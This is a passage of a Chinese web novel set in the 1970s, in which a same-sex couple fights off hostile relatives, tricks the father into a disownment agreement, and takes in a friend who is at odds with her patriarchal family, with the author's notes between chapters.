王瑶对他哭得楚楚可怜,一字一句对他哭诉她些年来的不容易,听到最后,李文宇就算再生气也没法再对她发火了,最后只能颓然等着温家来收拾他。 但他没有想到这件事揭过得那么顺利,温家没来找他的麻烦,温淼来闹了几次之后最后还是下乡了。 没了温淼在京市,他自知温家也没有理由再盯着他了,这段时间在京市混得简直是如鱼得水。 拿着攒下来的积蓄买了个房子,把他娘爹接到了城里。 到了老李家的时候,李母李父正在逗着李光宗。 王瑶妻夫两个人都重视这个来之不易的儿子,很是娇惯。 以至于让李光宗吃成了一个球,一身的肥肉,跑跑跳跳一会儿就开始大喘气。 今天是全家一起吃个饭,连带着李光宗的四个姐姐姐夫和他叔伯都来了。 屋子不大,满满当当挤满了人。 二叔正在嗑瓜子,看见李文宇进来后,将嘴里的瓜子皮往地上一吐,瞬间唾沫飞溅,瞬间眉开眼笑地站起来迎接。 “哟,文宇来了,刚才我们还念着你呢。” 听他这么说,几个姐夫叔伯也争先恐后讨好: “是啊,我们家的高中生就是有出息,都混到了革委会主任了。” “这个房子买的可真好,比我们乡下的土房子好多了!看看,多大、多气派!” “我就说文宇这小子,天生就是当大官的命,看我说的准吧!” 听了李三叔这话,其她人都在心里默默翻了个白眼,谁不知道在李文宇入赘温家的时候,最看不起他的就属他李三叔! 不过李文宇倒是被这一番话哄得内心舒坦,故作谦虚:“哪有哪有,也就一般般。” 飘飘然拉开凳子在主位坐了下来,对李光宗招招手:“光宗过来,给爸爸抱抱。” 李光宗扑到王瑶怀里,对他做了个鬼脸。 见状,二姐夫笑言:“这孩子面相看起来就机灵,以后肯定是干大事的人!” 其她人都在一边赞同地点了点头,几个男人说着话,唾沫横飞,菜还没开始上,就已经喝了几杯,酒意上脸,面红耳赤。 女人挤在狭小的厨房做饭,屋外几个小孩子疯玩尖叫。 李三叔又喝了一杯酒,咂了咂嘴。 眼神朦胧地看着李文宇,显然是有些醉了。 他大着舌头开口询问道:“文宇小子,怎么没有见到你家大姑娘?叫、叫啥来着?” “……李、李淼?!” 说到兴奋之处,他站了起来:“这么多年了,总该改回来你的姓了吧,怎么、怎么没见着她的人?我记得长得可、可标志了!” 听了这话,李文宇的表情明显变得难看了几分。 众人见他面色不对,连忙将李三叔按下去。 “哎呀,你喝醉了!快、快吃几口菜。” 李文宇喝了口酒,淡淡道:“淼淼没来,她温家那边就那么多亲戚,哪有时间和我一起过来。” 这话一出,李三叔一拍桌子,高声道:“我闺女,我管他什么亲戚不亲戚!老子要她来她就得来!” 此时,王瑶从厨房过来,端了一盘菜放在桌上,状似不经意说了一嘴:“淼淼那孩子不听话,老李说什么都管不了。” “下乡几个月的功夫,还和个乡下的泥腿子搞上了,对方还是个女人!” 说完这话,她立马捂住了嘴,看向李文宇。 讷讷道:“老李,我不是故意说的,只是我刚才心里就一直惦记着这回事。” 李文宇摇了摇头,闷头又喝了一杯酒,心情不畅。 “那丫头我迟早要好好教训教训她。” “教训?我看今天就是个好时候!我们家这么多亲戚,保证给她教育好!” “怎么和女人搞上,太不像话了!” 一个没看住,李三叔又开始说胡话了。 在一边躲闲的李三婶快步走过来,抓了把花生米就往他嘴里塞。 “你给我闭嘴吧你,多吃点花生米少喝酒。” 不过李三叔这话却有不少人赞同,李父在一边说:“那个丫头就是被温家人教坏了,终究是我们老李家的种,还得我们老李家来教育。” 三姐夫往地上吐了口痰:“就我说,温淼的眼光也太差了,看上个泥腿子,不知道的还以为是我们老李家亏待她了。” “一个乡下的土包子能有什么见识!我看啊,还是得给她介绍个合适的男同志,我们村里的牛三不是还没老婆……” “是啊,哪有女人喜欢女人的说法。” 几个人七七八八数着村里的适龄男青年,全然没有思考过他们认识的人几乎也都是些泥腿子,甚至还是些歪瓜裂枣的泥腿子- 季白青和温淼一起去玻璃珠厂,到的时候,姜维父亲已经在门口等她们了。 互相打了招呼后,姜父带她们去仓库里挑货,一筐一筐的不同样式的玻璃珠摆开,看得人眼花缭乱。 姜父介绍道:“这些都是有些瑕疵的珠子,可以给员工价卖,都是一分钱一个,你们好好挑挑。” 季白青和温淼看了一会儿,挑的都是些直径大的颜色鲜亮的珠子,这些珠子串起来肯定好看。 装了两袋珠子后,按照称好的重量给了钱,季白青对他道了谢后拿着东西和温淼一起回家。 路上,温淼问:“拿这么多,你有把握全都能卖出去吗?” 季白青老实摇头。 头饰的生意只是她突发奇想,加上温淼的话给了灵感,但还没有实际上做过。 主要七十年代的购买力她还不太了解,没法像是前世工作的时候一样做个表格分析。 不过她的想法确实挺冒险的,搏一搏,单车变摩托嘛~ 温淼笑了笑,她手上也提了一小袋的玻璃珠,都是挑的小颗的,无聊的时候可以串珠子做手链或是项链。 见她唇瓣还有些苍白,季白青有些心疼。 “你该在家休息的。” 她肩上扛着东西,想要去接过温淼手中的东西,却被她避开。 温淼避开她的手换了个手提着,有些无奈。 “我又不是没有一点力气,一直在家很无聊的。” 最主要的是,她想要和季白青一起,不希望季白青每一次为了她们的未来而努力的时候她不在她的身边。 两人很快到了家,将东西往杂物间一放,换了衣服又洗了手,季白青去准备午饭。 想着甜酒糟鸡蛋的奇效,她中午又做了一次,还做了个冬笋炒肉和海带炖排骨。 午饭,她将排骨和肉往温淼的碗里夹,叮嘱道:“多吃点肉。” 京市的肉供应要比溪宁镇的要多得多,每天买的也容易点。 季白青严重怀疑温淼有痛经的毛病是因为爱吃青菜不爱吃肉,想着应该多炖点肉给温淼尝尝才行。 女人就是要多吃肉蛋奶! 她此时还在想着回了云水村给温淼订奶的事。 今年村里好像要开始养羊了,也不知道会不会有羊奶卖。 不过倒是可以多存些黄豆,做豆制品。 思考的期间,她也不忘记给温淼夹菜。 看着自己碗里堆成小山包的菜,温淼有些无奈,出言阻止:“阿青,碗里的菜够多了,你别给我夹了。” 季白青回过神来,摸摸鼻尖,又给她盛了碗汤。 上午陪着季白青在京市跑了小半圈,温淼本来就体弱,吃完饭后倦意便涌上了大脑,不用季白青催促,就上了床,裹着被子休息。 季白青收拾好碗筷,洗干净后又在院子里将两人昨天换下来的衣服给洗了。 洗完衣服后,就是处理那些碎布头。 为了省点肥皂,她直接丢了几个不要钱的皂角进去,搓搓洗洗,大致将上面的异味和脏污洗去。 洗东西忙活了大半天,冷水冻得她手背发红。 搓了搓手,又在炉子边烤了烤火。 季白青去看了看院子里温淼种的蔷薇。 她回来的时间不太巧,没能见蔷薇花开的景象,蔷薇早就过了花期,剩下绿色的枝叶在寒风里瑟瑟摇曳。 虽然温淼说每年都是这样冻过去的,并不要紧,但她还是心疼,给那一块搭了个小棚子,避免风吹雪压把枝条压坏。 将顶棚上的雪扫了下去,季白青正打算清扫一下院子里的积雪,就听见了哐哐的敲门声。 光听起来就觉得来者不善。 她拧眉,将手里的扫帚靠墙放着,上前去将门打开。 门被打开,外面站了十几二十个人。 季白青将她们上下打量了一番,“你们谁?” 说来教育温淼,李三叔首当其冲,吃了饭,就带着其她人摇摇晃晃过来了。 一行人多少身上都带着酒气,看起来和路边的小混混也没什么两样。 都做好了见着温淼后就教育她的准备了,可谁也没料到,来开门的竟然是个陌生人。 还是个——陌生的漂亮女人。 在家里,季白青穿的不算多,刚干完活,她体热,在羊毛衫外面套了件大衣,暴露在冷空气中的脸颊雪白,脖子修长,看着她们的眼眸不带什么情绪,显得气质冷淡。 李三叔扭过头去,结结巴巴道:“我们走错了!” 其她人也有些错愕,都没吱声。 李三叔又抬头一看,确实没找错地方啊。 在季白青要关门的时候,他高声道:“找温淼!我是她三爷爷!” 季白青挑眉,这才往人群中一看,看到了躲在最后的李文宇。 不知道是不是被她打怕了,对上了她的视线,李文宇身体一抖。 “找温淼什么事?”她的视线收回,冷淡道。 李三叔哼笑一声:“她和女人搞对象,丢了我们老李家的脸!我要好好教训教训她!” 这话一出,其她人顿时也七七八八开口了。 “对啊,小姑娘家家,喜欢女人算是什么事。” “听说还是个乡下的土包子,啧啧。” “肯定是下乡不习惯,才想着要和泥腿子在一起,好少干点活。” 听着这些人的话,季白青轻笑出声。 大姐夫见状,不悦道:“你笑什么,快把温淼叫出来!我们可是长辈,让我们在门口站着,没大没小!” 季白青点头,“她在睡觉,你们要教训——不如教训教训我?” 早在刚才和季白青对上视线的时候,李文宇就后悔了。 这女人下手有多狠他不是不知道,回去的第二天他起床都起不了,还是让王瑶给他请假,最后在床上躺了两天才休息好。 听见季白青阴恻恻的话后,他瞬间头皮一紧,拉着妻女偷偷溜了。 看着偷偷离开的一家人,季白青冷笑一声。 李三叔将她上下打量一番:“你?你是谁?” 季白青低头,慢条斯理地将自己的衣袖弯起来,方便待会儿动作。 对她们微微一笑,语气有些可惜。 “我?我就是你们口中的土包子、泥腿子啊。” 闻言,想要看温淼笑话的李二丫瞬间尖声道:“怎么、怎么可能!” 不是说温淼和一个乡下女人处对象吗?怎么可能是面前这个看起来清丽又有气质的女人。 不可能! 她先前一直忮忌温淼的条件好,长得好看,还有钱买各种各样的衣服,听王瑶说她和个泥腿子在一起后才来看她笑话的。 结果泥腿子并不是她所想的泥腿子样子,甚至看起来比城里姑娘还要好! 怎么可能!凭什么什么好事都让温淼撞上了。 听了季白青的话后,其她人也瞬间一愣。 反应过来后,李三叔蒲扇大的巴掌就要往她的脸上打:“原来就是你让李淼给我们老李家丢脸!” 巴掌没落下来,季白青攥住他的手腕,力气大得像是要将他的手腕捏碎。 仅仅只是一会儿,李三叔就痛出了猪叫:“嗷嗷!放开我!” 季白青将他的手甩开,男人随着惯性狠狠摔倒在地上。 差点让他碰着自己的鞋。 季白青嫌弃地往后退了一步。 “第一,她叫温淼。” “第二,你们算是什么长辈?她的户口已经独立出来了,你们别想占便宜。” “第三,她要干什么管你们屁事?” 眼神扫视一遍其她人,季白青露出一个和善的微笑。 “还有人要教训我吗?趁我现在还没有别的事要忙。” 李二丫摸了摸自己的脸,最先往后退了一步。 二姐夫见状,觉得有些丢脸,顿时往前一挺胸:“你算个什么东西!温淼都没有出来,你让她出来,问问她认不认我们这些亲戚!” 姑娘家迟早要嫁出去,嫁出去之后娘家人人多就是底气。 他就不信温淼会不认她们。 季白青见他昂首挺胸的模样翻了个白眼,正想要直接动手将人轰出去,免得打扰了温淼休息。 哪知道还没动手,身后就传来了女人细软的声音。 “我为什么要认你们?你们算是哪门子亲戚?” 扭头一看,温淼披着件外套,站在不远处,乌黑的长发拨到一边,衬得脸蛋姝丽明艳,面无表情的模样多了几分锐利。 【作者有话说】 作者今天又忘记了要说啥 对了本章掉落100红包 感谢投雷和营养液~感谢订阅收藏评论 64 第64章 ◎对错◎ 闻言,众人的视线瞬间落在了来人身上,见着温淼,众人的眼中闪过了一抹惊艳。 下乡这么长时间,村里的活儿竟然一点也没有折损温淼的美貌,她与以前相比像是张开了,像朵开得正盛的蔷薇,艳丽灼人,一看就知道日子过得很好,没有丝毫落魄。 季白青走到她身边,伸出手替她将散开的衣襟拉拢,扣好了扣子。 “吵醒你了?”忽略到其她人的眼神,季白青柔声问道,与刚才的冷淡截然不同。 温淼拧着眉轻轻点头,“我听见了门口的动静。” 见两个女人就这么在她们面前卿卿我我,丝毫没有一点晚辈的样子,李三叔瞬间怒了。 “你们看看你们现在是什么鬼样子!两个女人在一起,要不要脸!” 他扭过身去,寻找李文宇的身影:“文宇、文宇!文宇人呢?” 看了一圈,没看到李文宇他们一家人的踪影,李三叔更生气了,拳头攥紧,脸颊憋红。 “大嫂、大哥,你们不来管管你们孙女吗?就这么和一个女人搞在一起,这不是给我们老李家丢脸!” 李母和李父被众人推攘到最前面,此时脸色也难看极了。 他们是最保守的那一辈人,骨子里轻女重男的思想不变,又格外在乎脸面,虽然不喜欢这个孙女,但是温淼和女人在一起的行为也让他们觉得丢脸,脸上无光。 看着她们丝毫不将自己放在眼里,李父厉声道:“温淼,如果你还想要进我们老李家的族谱的话,就赶紧和这个女人分开!和文宇一起去把姓给改了,我们还可以给你个机会。” “谁教你这么没礼貌的?还不快来和你叔伯们道歉!都是长辈,大过年的,给她们磕个头事情就当是过去了!” 因为李文宇在老李家有出息,李父也算是李家除了他之外威望最大的人了。 此话一出,几个姐夫和叔伯都点头,抱胸昂头,一脸傲倨地等着温淼对她们道歉。 温淼按下季白青的手,示意她先冷静。 她则是冷笑了一声,慢悠悠往前走了几步,最后在离他们几步之遥的位置停了下来。 “我道歉?我倒是不知道我为什么要道歉。” 她看了眼已经挤进门来的一群人,眼神冷了几分。 “不过你们没经过我的同意就闯进来,我都还没要你们道歉。” “这样吧,每个人都给我磕个头道歉,大过年的,我就大发慈悲地原谅你们了。” 季白青站在温淼身后,目光如猎鹰般锐利地盯着她们,避免有人不长眼想要对温淼动手。 听了温淼的话,李母李父香险些被气个仰倒。 大姐夫是全家最大块头的,刚才没领教过季白青的厉害,此时站了出来,盯着温淼的神色阴沉。 “我看我是该代替你早死的妈好好教育教育你了。” 他的话让温淼和季白青的心情都不悦,见他是真的想要动手,季白青抓着温淼的腕子把她拉到了自己身后。 她看着大姐夫的眼神发冷,轻易就能够将人冻住。 男人一拳砸下来,季白青避开,利落伸出脚,一脚踹在了他的下腹。 “啊!”大姐夫哀嚎一声,季白青身形迅速绕到他的身后,一脚踹在他腿弯,男人瞬间痛不欲生地捂着裆部跪了下来。 其她人见状想要来帮忙,季白青本来就恼火,更是被她们惹起来几分火气。 一手一个,没多一会儿,男人都被打趴在地上。 季白青抬眸,扫了剩下来的几个女人,问:“还不走吗?” 几个女人尖叫一声,生怕自己被踹一脚或是被扇一巴掌,开始四处逃窜。 拍了拍被打红的手,季白青微笑:“刚才你们不是说要向温淼磕头道歉吗?现在不是正好。” 李父“呸”一声,在地上吐下口水。 “你们两个贱人,做梦!” “啪啪。”两个干脆利落的大巴掌扇在他脸上,瞬间干瘪的脸颊肿了起来。 季白青心平气和道:“刚才风太大,你说什么来着?” 眼神扫过地上的其他人,她问:“不是说道歉吗?还是说你们也想尝尝我的巴掌是什么味道。” 此话一出,感受过她的威力的几个男人摇头摇的飞快。 李三叔差点被吓尿,对着季白青就干脆地磕了个头,“对、对不起。” 季白青纠正道:“不是向我,是向温淼。” 几个人轮流对温淼磕头道歉后,被打得晕头转向的李父最后也迫于季白青的威压,哆哆嗦嗦地向温淼道歉。 原本以为道个歉后就能离开了,哪知温淼是在他们的注视之下出了门,她走后,大门却被季白青关上。 半倚着大门,季白青看着他们,语气莫名:“来都来了,待会儿再走吧。” 几个男人挤在一起瑟瑟发抖,生怕这个女人又要对他们动手。 没多久,一阵敲门声响起。 季白青拉开了门,看着跟在温淼后面的警察,原本平静冷淡的神色瞬间变得柔弱起来,上前挽住温淼的手,眼中含泪。 “警察同志,你们可算来了,有几个男人私闯民宅,家里就我们两个女人,我们两个弱女子都快被吓死了。” 闻言,一个警察上前安抚她们。 进到院子里后,看见了被打得鼻青脸肿的几个男人,警察的嘴角一抽。 “……就是这几个人私闯民宅?” 季白青点头,“我都快被吓死了,他们还想要打人,我们两个弱女子什么都做不了,我太害怕了所以才还了手,不是我先动的手。” “警察同志,快把他们都抓起来!” 李三叔等人:“……” 李父瞬间暴怒,脸上青筋暴起:“你放屁!” 明明他们连这两个女人的一根头发丝儿都没碰到,倒是被结结实实按着揍了一顿,这两个女人是怎么有脸说出那种话的! 他想要解释,可来的警察见着确实是几个大男人对两个女同志出言不逊,最后将手铐往他们手上一铐,不管怎么解释都不听,把他们带去警察局教育了一天。 见人终于被带走了,季白青将门一关,暗道一声晦气。 她揉揉温淼的长发:“他们说的那些话你别往心里去,都是些神经病。” 温淼轻轻点头。 见她乖巧,季白青亲亲她的脸颊。 “要不要再去睡一会儿?” 温淼摇头,“不睡了,刚才你看见李文宇她们了吗?” 季白青翻了个白眼,“他也是个怂货,看到我就跑了。” “我们去找他。” “啊?”季白青还没反应过来。 她记着温淼不是最讨厌李文宇这个渣爹了吗?怎么突然主动说要去找他。 温淼的眼眸平静,说出来的话也没带什么情绪。 “找他断绝关系。” 见她气势汹汹就准备要去上门找李文宇的麻烦,季白青无奈地拉住她。 “等等,穿多点再去。” 她出来穿的少,手一摸,冰凉。 拉着人进了屋子,给她找了厚实的棉袄和裤子,看她穿好,季白青又自己换了一身衣服,最后拿着一份写好的断绝父女关系的协议去找李文宇。 李文宇虽然花钱给李母李父在京市买了房子,但是她们妻夫还是住在温向荣划李文宇名下的筒子楼里。 一是因为这地方离革委会近,李文宇上班方便。二是李文宇手里的钱买不起更大的房子,一家四口只能够在五十平的筒子楼里挤着。 不过勉强也算是合适,有的家庭十口人也就这么大的面积 跟着温淼到了地方,敲门后她们就等着李文宇开门。 来开门的是王瑶,见着来人是温淼她们,她一愣,心生窃喜,往她身后一看。 她想,温淼既然主动上门来了,是不是几个亲戚把她教训了一顿,她来给自己和李文宇认错来了? 但无论怎么看,两人背后都是空无一人。 她掩饰住内心的失望,开口询问:“淼淼,你们来干什么?” 温淼掀起眼皮,看她一眼,平静道:“找李文宇。” 王瑶有些不悦:“你这孩子,怎么能直接叫自己爸爸的名字呢。” 季白青看不惯别人教训自己老婆,没好气道:“你管人家叫什么,和你又没关系。李文宇呢,李文宇在家吗?” 她提高声音,周边的住户都能听见。 见着有人将窗户打开探出个头来看热闹,王瑶也有些脸热,怕自己被人议论,只能让开路让她们进来。 “有什么事进来说。”她在衣服上擦了擦手,怕被李文宇责怪,讷讷开口。 李文宇此时正在床上躺着,中午喝多了,脸上现在还泛着红,浑身酒气。 王瑶去将他叫醒:“老李、老李,淼淼来了。” 李文宇不耐烦地挥了挥手:“别烦我!” 过了一会儿,他又自己坐了起来,摇晃着去了堂屋,见到温淼真的在屋子里坐着,有些喜悦。 他还记着李三叔亲口说要把温淼教育好。 大着舌头问:“淼淼,你是来改回我的姓的吗?” 温淼没应声,只是指着那份协议。 “签个字。” 李文宇见她不反驳,还以为她真是被李三叔她们给劝地回心转意了,傻笑一声后,看也没看,在纸上歪歪扭扭签了自己的名字,又在温淼的示意下按了手印。 王瑶在一边看得干着急,这是在签的什么!别是和钱有关的啊! 签好字后,温淼将协议收起来,对李文宇伸出手,十分理直气壮开口要钱。 “没钱花了,你还有钱和票吗?爸爸。” 这还是温淼知道她要下乡的消息后第一次再叫他爸爸,李文宇的眼睛瞬间花了,他抹了一把眼泪,高声吩咐王瑶: “媳妇,把钱和票——拿来!” 王瑶干笑一声,局促站在一边,“老李,别开玩笑了,我们哪里来的钱?不都花出去了。” 李文宇眉头一皱,有些为难地看了眼温淼。 温淼低下头,看起来也有些失落:“爸爸,我都没想到原来你重新组建家庭之后居然还不能自己管钱,没事的,你没有钱和票给我,我回去之后少吃一点饭就能省下来了。” 看着她楚楚可怜的模样,王瑶咬牙,顿感不妙。 李文宇也鲜少见到自己女儿主动示弱的模样,一时间想到了她幼时嫩生生叫自己爸爸的时候。 瞬间父爱泛滥,“王瑶!我都说了,把钱和票拿出来!” 听出他话里的不耐烦,王瑶不敢再拿刚才的话敷衍,最后只能一步三回头回了房间,只希望能听到李文宇反悔。 最后将一叠钱票递给李文宇的时候,王瑶祈求他能够念着自己这一家子。 这里的钱怎么说也有一百多,还有杂七杂八的票据。 春节还没有过去,两个人现在都没工资,少了这些钱,剩下的几天年都过不好。 李文宇拿着手里的钱,数也没数,直接全给了温淼。 “淼淼啊,在乡下不要苦了自己,没钱就写信和爸爸说。” 看着那一沓钱票全被给了温淼,王瑶的心在滴血。 哪知温淼还不知满足,继续问:“还有吗?你知道,这么点不够我用的。” 季白青在一边看着王瑶的反应,觉得好笑。 就这么点钱,开始心疼了?那她们从温家拿走的那些钱又算什么。 李文宇勉强有些为难,挠了挠头,不知道该怎么回答。 温淼叹出一口气,语气惋惜:“原本我还打算给你买一件皮衣,但钱不够,看来给爸爸买礼物的钱要再过一段时间才能攒够了。” 这话一出,李文宇瞬间有些激动。 温淼竟然还想要给他买一件皮衣,那是不是代表着,她心里还是想着这个父亲的? 说不定父女两人的关系一缓和,温淼就愿意改回李姓了呢! 他站起身来,又摇摇缓缓地进了李光宗的房间,最后拿出来十张大团结放在温淼手上。 “淼淼啊,这是爸爸攒的私房钱,你可要收好了。” 拿到了这些钱,温淼也没心情再陪李文宇演那些父女情深的戏码,站起来,拉着季白青就要出门。 “淼淼啊,不多坐一会儿啊?”李文宇醉醺醺的话被落在身后。 关门的时候,季白青耳尖听见了王瑶的哭叫。 “李文宇,你竟然还敢藏私房钱!” 季白青对着温淼竖了个大拇指,要说还是她老婆能屈能伸,明明只是来写个断绝父女关系的协议,还能够再从李文宇手里扣点钱出来。 最重要的是,王瑶和李文宇之间的关系也受到了挑拨,估摸着有一阵子不会平静了。 温淼和季白青去找了一家报社,将协议给编辑看了之后,决定好了宣布温淼和李文宇断绝父女关系的消息怎么写后,付了钱她们就回去了。 李文宇在王瑶的哭声下又不耐烦地睡着了,傍晚是被他大姐给挠醒的。 “嘶,疼!”他五官扭曲,捂着脸。 见他醒了之后,他大姐往地上一坐,就开始哭诉:“文宇,你可要给我个说法,我男人被你闺女送进警察局里了!” 闻言,李文宇还有些茫然。 几个姐还有婶子都来了,她们的男人都被抓紧了警察局,而罪魁祸首是温淼。 温淼身边有那个女人,她们不敢去招惹,便只能够来让李文宇出面解决。 听了她们的话后,李文宇都懵了。 “你们是说,温淼和那个女人,把三叔他们打了之后还把他们送进警察局了?” 那下午的时候,温淼上门主动求和是为什么? 头疼地将一群人都给劝走之后,李文宇看着眼眶通红的王瑶,问:“温淼让我签字的东西是什么,你看到了吗?” 王瑶摇头,声音里满是怨气。 “我哪敢插嘴你和你亲亲闺女之间的事。” 李文宇不管她的阴阳怪气,按了按太阳穴,有一种不祥的预感。 这预感在第二天成了真,照样买了当天的报纸,李文宇看着上面所登记的断绝父女关系的声明后,脸瞬间黑了下来。 所以……昨天他签字的就是这份协议,还让温淼骗走了家里大部分的积蓄?! 李文宇看到这份声明后是什么心情温淼不知道,她只知道她看到报纸上的消息后,内心的郁气散了个干净。 既然李文宇没有做到丈夫与父亲的职责,那就干脆断个干干净净好了。 也面得离家那群人又耀武扬威一般登门拜访。 李家和她没关系,她也厌恶那些所谓的亲戚。 这下总算是和他彻底断开了关系。 见温淼心情不错,季白青将今天订的牛奶热了热,放在她面前。 她四处打听了一番,才知道原来京市每天都可以订牛奶的,有人专门送到家门口。 一瓶一毛五,不算太贵,季白青便每天订了两瓶。 “好了,开心了就吃早饭。” 吃过早饭后,季白青和温淼一起去食品站买菜。 前些日子囤的菜都吃的差不多了,更何况总吃同一个菜,很快就腻味了。 今天去得早,水豆腐还没有卖完。 挑了三块水豆腐,又买了些肉,中午可以做个豆腐酿。 眼尖地看到了胡萝卜,季白青在温淼不满的眼神下还是挑了几根。 买好了菜,正准备和温淼一起回去,突然她看见了远处有些熟悉的人。 女人穿着单薄,身形纤细,靠在巷口,指尖夹着烟,正在面无表情地吞云吐雾。 女人抽烟的事少见,不少人投去异样的眼神,却对她没有丝毫影响。 见季白青站在原地没动,温淼有些疑惑转头,也看到了不远处的陆霁。 “她这是怎么了?”她小声问季白青。 季白青摇头,“我过去看看。” 怕烟味熏着温淼,她让温淼找了个地方坐着等她。 走到陆霁身边,季白青同她打了个招呼。 “陆霁姐,你怎么在这儿?” 见来了人,陆霁将手中的烟按灭。 对她一笑,“你呢?一个人来的?” 季白青看了看不远处看过来的温淼,“和淼淼一起来的,看你一个人在这儿,我不放心来看看。” 陆霁失笑,心里倒是暖了些,安抚面前的青年:“不算什么大事,就是心情不好,出来抽一根。” 她抖了抖烟灰,纤长的手指被冻得通红,她却丝毫不在意,整个人呈现出来与本人温婉外貌不符合的懒散颓然。 季白青勾唇,“每个人都有心情不好的时候,只是不能拿自己的身体开玩笑,陆霁姐你应该多穿点的。” “为什么不高兴?是因为陆延?”季白青睫毛微垂,掩下了眸中的探究。 听她提到了陆延,陆霁的眉心一皱,心瘾又犯了,手腕刚提起,才想起刚才就将烟灭了。 见她心情郁郁,季白青提议:“淼淼家就在附*近,你穿这么点肯定冷,要不去家里吃个午饭?” 陆霁笑着婉拒:“恐怕温淼同志不会同意。” 像是没听出来她话里的意思,季白青笑呵呵回复:“不会的,淼淼也很喜欢你,吃个午饭而已,陆霁姐不是没地方去吗?去家里坐坐,我们也算是朋友。” 陆霁想,一面之缘,也算是朋友吗? 但看着面前神色真诚的季白青,陆霁的心微微一动,最后微微颔首,还是同意了。 季白青带着陆霁去找温淼前不好意思对她一笑:“陆霁姐,你把烟扔掉吧,淼淼不太能闻烟味。” 陆霁闻言一顿,转身找了个垃圾桶将烟头扔了,拍了拍身上落的烟灰。 身上染的气味早就被风吹得不剩下多少,只有她唇中余留一点辛辣气息。 带着陆霁去找温淼,季白青牵着温淼的手,温声和她说:“陆霁姐没地方去,让她去我们家吃个午饭行吗?” 抿唇看了眼寒风中跟青竹似的陆霁,温淼点头。 到了家,陆霁坐在沙发上,手里捧着一杯热水,肩上披着温淼找出来的绒毯。 体温逐渐回暖,陆霁这才有时间看屋内的陈设。 温家大小姐住的地方虽然称不上豪华,但却足够温馨。 桌上散乱着杂物,沙发上搭着两人的外套,炉火烧的很热,屋子里温暖和煦。 季白青端了热水给陆霁洗手擦脸,又拿了条毛巾给温淼擦脸和手,细心帮她解开围巾和外套排扣。 两人之间的氛围是别人所插不进去的,和谐亲昵,看着就让人对爱情生出几分向往。 这样在女男之间都难得的感情,却发生在两个女人身上。 陆霁有些恍惚地想,这是可以的吗? 和世俗相悖,僭越自古以来的传统,是……正确的吗? 【作者有话说】 又忘了今天要说啥了,蒜鸟蒜鸟 感谢一下宝宝的投雷和营养液,感谢一下评论订阅收藏捏~~[亲亲] 65 第65章 ◎合作◎ 那她心中所想的,在外人看来异想天开的想法,有没有可能也是正确的呢? 陆霁垂眸沉思,手指在不知不觉中搭在了腹部,指尖轻按着。 面前突然被放上了一碗粥,抬眸是温淼对她微微弯起眸子,轻声问:“你吃饭了吗?早上熬的粥还剩一点,如果不介意的话可以吃一点,还是温热的。” 是季白青熬的青菜瘦肉粥,出去买菜时一直煨在炉子上,也没有熬干,还是刚好的稠度,闻着鲜香扑鼻。 陆霁拿着勺子搅了搅,对她道谢:“谢谢温同志和季同志。” 她确实没有吃早饭。 陆家一直有着要等着人齐才吃饭的传统。 今天早上是她和她母亲做饭,平日里陆家都是七点半准时开饭,但陆延却迟迟不来,陆霁耐心去他房间叫了四五遍。 冬日里,饭菜冷得快,平日里规矩最重的陆老爷子对着自己唯一的孙子却没有那些严厉苛责,只是一次次让陆霁和母亲去把饭菜再热一遍。 陆霁母亲有胃病,每一餐都需要按时吃,否则容易胃病发作,那感觉并不好受。 第三次去厨房热菜的时候,她让母亲吃点垫垫肚子,陆母却不依,只是安慰道:“没关系的,忍一忍就过去了,阿霁你再去叫延延,让他起来吃饭了。” 陆霁沉着脸再次去叫陆延,陆延传出来的声音懒洋洋的,还是前几次敷衍的“马上就起来了”的说辞。 她心里憋着气,提高声音道:“陆延,你再不起来就别吃了!” 这句话落下后,里面沉默一会儿,窸窸窣窣的声音响起,过了几分钟,陆延穿好衣服出来,擦过她,面上毫无愧色,只丢下了一句话: “妈爸和爷爷舍不得饿着我,倒是你……” 陆霁在原地沉默站定,一瞬后才抬脚回客厅。 一桌人此时已经吃起来了,陆母陆父一脸慈祥地给陆延夹菜。 “延延,多吃点。” “延延,下次要按时起来吃饭,不然胃痛。” 陆母抬头,见陆霁站在远处,嗔她一眼:“阿霁,快过来吃饭。” 同时,陆延冷不丁开口:“陆霁刚才说让我别吃了,饿死得了。” 闻言,陆老爷子凌厉的眼神落在陆霁身上,厉声道:“陆延是你弟弟,你怎么能说出这种话!” 陆父也沉下脸:“这么没耐心,看以后哪个婆家敢要你。” 陆母责怪地看了她一眼,随后缓和两个男人的情绪:“爹,姐弟俩肯定只是开玩笑。” 陆老爷子撇过头去,哼了一声:“赶紧给她相看相看,天天在家要翻天了,谁家姑娘这么大了还在家待着。” 看,这个家庭永远是围着陆延转。 诸如此类的事发生了不知道有多少遍,像是进入了一个又一个循环的怪圈。 陆霁此时竟然习惯到有些麻木。 她想,就只是因为陆延是男的,家产给他继承,权利为他开路,陆家所有人都向着他。 陆霁比陆延年长,比陆延稳重,比陆延优秀,可在她的家人看来,她不过是个要被嫁出去的“外人”。 她的身体流淌着陆家的血,却没被允许有同陆延竞争的机会。 凭什么? 蓦地,陆霁冷笑一声,胃抽痛,心脏却像被刀刮过,比胃更痛。 她忽略身后陆母陆父的劝阻声和怒喝声,头也不回地出了陆家。 漫无目的地走到了供销社,买了包烟,点燃,猩红焰火在寒冬里明明灭灭。 她表面乖顺,实际叛逆,众人觉得女孩不该做的事儿她多少都干过。 烟也抽得很熟练,半包烟下去,还是没能压灭烧得猛烈的心火。 靠在墙边,她的思绪被风吹得异常清晰。 陆霁又一次陷入了怀疑,她想要的东西,真的就不可能是她的吗? 回忆骤然收拢,看着面前的菜粥,不久前困扰着陆霁内心的问题在此时似乎有了答案。 同性恋合法的政策早就颁布了两三个月,但在她人看来同性恋依旧是异类。 可温淼和季白青却不将别人的看法放在心里,也不去在乎她人眼光,过好自己的小日子。 陆霁想,她要做的和这也没什么不同。 妇女能顶半边天。 那妇女为什么就不能做一家之主呢? 她陆霁比陆延要聪明成熟优秀,既然要争,那她就要和陆延争个高下,看最后鹿死谁手。 将心里的杂乱的结理清楚后,陆霁端起粥,一勺一勺地咽下,温热的粥落在胃里,被灌进不少冷风的胃部有了知觉,抽痛也缓解了不少。 见她喝完了粥,温淼又洗了个苹果,切好放在桌上,摆上饼干糖果和花生瓜子这些炒货。 她在陆霁的对面坐了下来,有些不好意思地对她笑了笑。 “家里就我们两个人,没买太多年货,陆霁姐你凑活吃。” 陆霁摇摇头:“已经很好了。” 她往厨房的方向看了一眼,问:“季同志在做饭吗?我去给她帮帮忙吧。” 